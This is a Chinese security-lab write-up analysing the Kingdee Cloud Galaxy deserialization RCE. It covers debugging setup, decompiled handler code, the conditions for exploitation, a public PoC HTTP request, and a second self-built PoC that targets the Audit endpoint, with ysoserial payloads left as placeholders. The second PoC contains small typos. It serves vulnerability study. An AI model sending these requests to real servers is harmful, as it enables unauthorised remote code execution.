前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >原创Paper | 从入门 .NET 到分析金蝶反序列化漏洞学习笔记

原创Paper | 从入门 .NET 到分析金蝶反序列化漏洞学习笔记

作者头像
Seebug漏洞平台
发布2023-08-23 13:00:23
1.1K0
发布2023-08-23 13:00:23
举报
文章被收录于专栏:Seebug漏洞平台
作者:Sunflower@知道创宇404实验室 日期:2023年7月10日

1.前言

参考资料

由于金蝶云星空能够使用 format 参数指定数据格式为二进制,攻击者可以通过发送由 BinaryFormatter 恶意序列化后的数据让服务端进行危险的 BinaryFormatter 反序列化操作。反序列化过程中没有对数据进行签名或校验,导致攻击者可以在未授权状态下进行服务器远程代码执行。

刚接触 .NET 不久,正巧遇上了金蝶反序列化漏洞,本篇文章将从入门学习如何调试——分析金蝶反序列化漏洞

2.影响范围

参考资料

金蝶云星空 < 6.2.1012.4

7.0.352.16 < 金蝶云星空 <7.7.0.202111

8.0.0.202205 < 金蝶云星空 < 8.1.0.20221110

3.环境准备

参考资料

3.1 金蝶云星空

https://www.heshuyun.com/265.html

本文选择漏洞版本 7.6,安装就不用说,下载地址里面都有。

安装完成后访问能打开就行,如图 1 所示:

图1 安装完成成功访问

3.2 dnSpy

dnSpy 是一个调试器和 .NET 程序集编辑器。即使没有任何可用的源代码,你也可以使用它来编辑和调试程序集。

https://github.com/dnSpy/dnSpy

3.3 Process Hacker

Process Hacker是一款免费、强大的多用途工具,可帮助你监控系统资源、调试软件和检测恶意软件。

https://processhacker.sourceforge.io/

4.调试准备

参考资料

已知漏洞的路径如下,现在需要通过该URL定位找到对应的代码位置。

http://192.168.87.133/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

这是一个 .NET 程序,所以直接打开 IIS 管理器,右击 K3Cloud—— 浏览,找到源码的位置,如图 2 所示。

图2 IIS管理器

在 WebSite 目录下找到并打开 Web.config,如图3所示:

图3 WebSite目录

在 Web.config 的 handlers 中可以看到,其中定义了让路径为 kdsvc 结尾的请求去使用 Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler 类进行处理,所以接下来寻找一下这个类的代码所在位置,如图 4 所示。

图4 Web.config文件

这里根据漏洞的 URL 推测,涉及的dll大概是 Kingdee.BOS* 这样的文件。从 WebSite\bin 目录下复制出 dll 文件,载入到 dnsPy 中,然后搜索:Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandle,如图 5,定位到代码具体位置:

图5 dnsPy搜索

根据搜索已经知晓了是哪一个 dll 文件处理了(Kingdee.BOS.ServiceFacade.KDServiceFx.dll),接下来使用 Process Hacker 定位到该 dll 被调用时所在的位置,然后右击 Open file location。

这一步有一个小坑,要先访问一遍漏洞路径,不然 Process Hacker 只能搜索出一个,并且这一个不能正确的进行调试。搜索出两个则选择包含 k3cloud 路径的那一个,如图 6。

图6 Process Hacker

打开该 dll 的位置后,在该位置文件下新建一个同名 .ini 文件,如图 7 所示。

图7 dll文件位置

文件内容如下,这里的作用是禁用编译优化 [1](之后打开 cmd 使用 iisreset 命令重新 IIS 服务器,否则禁用编译优化不生效!)。

代码语言:javascript
复制
[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

重启完 IIS 服务器后,进程 ID 会改变,所以再次使用 Process Hacker 搜索到相应的进程 ID(打开文件夹验证同级目录下是否有刚刚创建的 .ini 文件),如图 8 所示。

图8 Process Hacker

接下来将这个目录下的 Kingdee.BOS.ServiceFacade.KDServiceFx.dll 文件加载到 dnsPy 中,调试——>附加到进程,选择刚刚得到的进程号 ID,如图 9 所示。

图9 dnsPy附加到进程

接下来在 Kingdee.BOS.ServiceFacade.KDServiceFx的KDServiceHandler 中打上断点,稍等几秒看见断点变为实心红圈表示可以调试了,如图 10 所示。

图10 dnsPy断点

5.漏洞分析

参考资料

参考网上公开的 PoC[2],将其中 PAYLOAD 位置替换为 ysoserial 生成的内容,先简要跟一下这个漏洞:

代码语言:javascript
复制
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"PAYLOAD",
    "format":"3"
}

这里直接发上面的数据包进行调试。如果之前配置的 dnSpy 没错,就可以成功断到点了,如图 11 所示。

图11 断点成功

这里可以手动跳过几个系统的处理逻辑,ctrl+ 鼠标点击进入 return new KDSVCHandler();——this.ExecuteRequest(webCtx, requestExtractor);——RequestExcuteRuntime.StartRequest(requestExtractor, ctx);——RequestExcuteRuntime.BeginRquest(requestExtractor, context);,此时来到 RequestExcuteRuntime 类。断点断到 69 行 的 string localFile = webCtx.Context.Server.MapPath(path);,如图 12 所示。

图12 断点localFile

这里的 path 就为我们传递的 url ,然后通过 webCtx.Context.Server.MapPath(path); 生成一个 localFile,BuidServiceType 方法根据 localFile 包含common.kdsvc,继续跳转到其他逻辑,如图 13 所示。

图13 判断包含common.kdsvc

通过处理赋值给 text 提取出类名和方法名等,再先通过缓存去查找类,没找到再调用 BuildServiceType 方法,如图 14 所示。

图14 通过缓存查找

BuildServiceType 方法就是根据 strtype 定位到具体的程序集,然后再在程序集中寻找对应的类和方法等,如图 15 ,这里就不再细说。

图15 寻找对应方法 继续跟进,最终到达了 ExcuteRequest 方法内部,这里通过遍历几个 Modules 来处理这个请求,如图 16 所示。

图16 ExcuteRequest方法

差不多遍历到第 4 个 Modules ,进入到 OnProcess 方法中,如图 17 所示。

图17 OnProcess方法

再继续进入到 Execute() 方法内部,可以看到 DeserializeParameters() 方法,如图 18 所示。

图18 Execute方法

继续跟进,如图 19。

图19 DeserializeParameters方法

直到最后跟进到 BinaryFormatterProxy 的 Deserialize 方法中,这里可以看出代码使用了 BinaryFormatter 进行了 Deserialize操作[2],微软已经将 BinaryFormatter 的反序列化标注为不安全的[4]。

代码语言:javascript
复制
    public object Deserialize(string content, Type type)
    {
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        object result;
        try
        {
            byte[] array = this.encoder.Decoding(content);
            if (this.Compressor != null)
            {
                array = this.Compressor.Uncompress(array);
            }
            using (MemoryStream memoryStream = new MemoryStream(array))
            {
                result = binaryFormatter.Deserialize(memoryStream);
            }
        }
        catch (FormatException)
        {
            throw new KDException("#####", "服务器返回内容不能被解码,请检查服务器地址是否正确。");
        }
        return result;

后调用栈如图 20 所示。

最后调用栈如图 20 所示

最后调用栈如图 20 所示最后调用栈如图 20 所示

图20 调用栈

5.1 为什么要赋值format=3?

因为 Create 方法中的 requestExtractor = new JQueryRequestExtractor(request, isGet);,其内部会根据 request 传递的值来进行属性的赋值给 this.form,如图 21 所示。

图21 Create方法

待后续调用到 this.Format 时,则会自动触发 Format 定义,如图 22 所示。

图22 Format定义

如图 23,传递 format 参数为 3。

图23 调用到this.ExtractForm

接下来根据这个属性值来进行匹配,为3正好能匹配到 Binary(当然这里 format 赋值为 Binary 也是可以的),如图 24 所示。

图24 format的取值

5.2 为什么使用ap0作为参数?

一开始以为 ap0 是 GetBusinessObjectData 其中一个参数,后来发现其使用了如下代码逻辑:

代码语言:javascript
复制
  public string[] GetServiceParameters(string[] paras)
        {
            string[] array = new string[paras.Length];
            if (this.form.AllKeys.Contains("parameters"))
            {
                string parameters = this.form["parameters"];
                JSONArray jsonarray = new JSONArray(parameters);
                int num = Math.Min(jsonarray.Count, array.Length);
                for (int i = 0; i < num; i++)
                {
                    if (jsonarray[i] == null)
                    {
                        array[i] = string.Empty;
                    }
                    else
                    {
                        Type type = jsonarray[i].GetType();
                        if (type.IsValueType || type == typeof(string))
                        {
                            array[i] = jsonarray[i].ToString();
                        }
                        else
                        {
                            array[i] = jsonarray.GetJsonString(i);
                        }
                    }
                }
            }
            else
            {
                int num2 = 0;
                for (int j = 0; j < paras.Length; j++)
                {
                    array[j] = this.form[paras[j]];
                    if (array[j] == null)
                    {
                        array[j] = this.form["ap" + num2++];
                    }
                }
            }
            return array;
        }

这意味着 array 只会接收 "ap+ 数字"和 parameters 中的值,否则 array 为 null 。此外,parameters 的值需要符合 JSON 格式。例如:

代码语言:javascript
复制
{"ap0":"payload","parameters":["payload"]}

6.继续探索

参考资料

分析到反序列化执行点发现,这里是先进行反序列化,之后 Invoke 再执行方法内部再进行参数类型判断。这就意味着不管调用哪个类或者方法,只要该类或者方法存在并且可以传入值(至少一个),那么都会调用到 this.DeserializeParameters(serializeProxy, svcType, paraValues) 代码里面,如图 25 所示。

图25 反序列化顺序

此外还有个限制,svcType.MapToCLRType 的构造函数需要支持传递 context(KDServiceContext)类型或者继承该类型的参数。只有确保传递给 CreateInstance 方法的参数与所需的构造函数参数类型兼容,且符合构造函数的参数约束,才能成功创建对象,否则会在创建对象时报错,导致跳不到反序列化的步骤中去,如图 26 所示。

图26 obj创建

综上所述,只要任意一个类型的构造函数支持传递 KDServiceContext 类型或者继承该类型的参数,并且其中的方法可以传入参数(至少一个),那么都可以进入反序列化的代码逻辑里去。

例举几个命名空间,他们下面的类的构造函数都支持传递 context 的类型:

代码语言:javascript
复制
Kingdee.BOS.ServiceFacade.ServicesStub
Kingdee.BOS.ServiceFacade.ServicesStub.Account
Kingdee.BOS.ServiceFacade.ServicesStub.Workflow
Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner
Kingdee.BOS.ServiceFacade.ServicesStub.BaseData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessFlow
Kingdee.BOS.ServiceFacade.ServicesStub.Computing
Kingdee.BOS.ServiceFacade.ServicesStub.DataMigration
Kingdee.BOS.ServiceFacade.ServicesStub.DB
Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm
Kingdee.BOS.ServiceFacade.ServicesStub.Metadata
......

调试到这里,成功跳到了反序列化步骤中去了,本以为可以准备收尾文章了,但是进入后发现 SerializerProxy 的 Deserialize 方法依旧对参数类型进行了判断。

代码语言:javascript
复制
        public object Deserialize(string content, Type type)
        {
            if (string.IsNullOrEmpty(content))
            {
                if (type.IsValueType)
                {
                    return Activator.CreateInstance(type);
                }
                if (type.Equals(typeof(string)))
                {
                    return content;
                }
                return null;
            }
            else if (type == typeof(string))
            {
                if (this.proxy.RequireEncoding)
                {
                    byte[] array = this.proxy.Encoder.Decoding(content);
                    return this.encoding.GetString(array, 0, array.Length);
                }
                return content;
            }
            else
            {
                if (type.IsEnum)
                {
                    return Enum.Parse(type, content, true);
                }
                if (type == typeof(int))
                {
                    return int.Parse(content);
                }
                if (type == typeof(byte))
                {
                    return byte.Parse(content);
                }
                if (type == typeof(float))
                {
                    return float.Parse(content);
                }
                if (type == typeof(double))
                {
                    return double.Parse(content);
                }
                if (type == typeof(long))
                {
                    return long.Parse(content);
                }
                if (type == typeof(DateTime))
                {
                    return DateTime.Parse(content);
                }
                if (type == typeof(decimal))
                {
                    return decimal.Parse(content);
                }
                if (type == typeof(bool))
                {
                    return bool.Parse(content);
                }
                return this.proxy.Deserialize(content, type);
            }
        }

这里又出现了一层限制,因此正确的利用条件应该为:任意一个类型的构造函数支持传递 KDServiceContext 类型或者继承该类型的参数。该构造函数中的方法需要传入至少一个参数,并且参数不能为上述类型(string、int、byte、float...)。

在我刚刚提供的命名空间里面还是能找到不少符合条件的,例如图 27。

图27 符合条件的方法

6.1 构造其他PoC

这里只举了一个较为经典的案例,除此之外还有很多。

Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit 传递的第三个参数为 object[](这里满足不为int、string等类型),且 ProcInstService 的构造函数支持传递 KDServiceContext 类型,满足条件,如图 28 所示。

图28 符合条件方法举例

之前提到的,传入 "ap+ 数字" 或者parameters,就可以给array赋值,这里Audit方法的第三个参数为object[],所以就需要使array[2]为PAYLOAD,前两个值用ap0和ap1进行占位,ap2为PAYLOAD。

所以构造的PoC 大致为:

代码语言:javascript
复制
POST /K3Cloud/Kingdees.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"1",
    "ap1":"1",
    "ap2":“PAYLOAD”,
    "format":"Binary"
}

图 29 进行验证(这里PAYLOAD使用的是ysoserial生成的 ActivitySurrogateSelectorFromFile攻击链)。

图29 漏洞验证

7.总结

参考资料

本篇文章算是我从.NET入门到调试分析第一个漏洞,虽然一路上踩得坑还是不少,但是收获还是挺多的。本文主要讲了用 dnsPy 进行附加进程调试,至于VSstudio 调试以及一些编译优化入门可以看一下这篇文章:https://paper.seebug.org/1894/

8.参考链接

参考资料

[1]https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug

[2]https://mp.weixin.qq.com/s__biz=Mzg2ODYxMzY3OQ==&mid=2247498468&idx=2&sn=309198cc5bd645d5f7252288b5e629af

[3]https://paper.seebug.org/901/

[4]https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 5.1 为什么要赋值format=3?
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档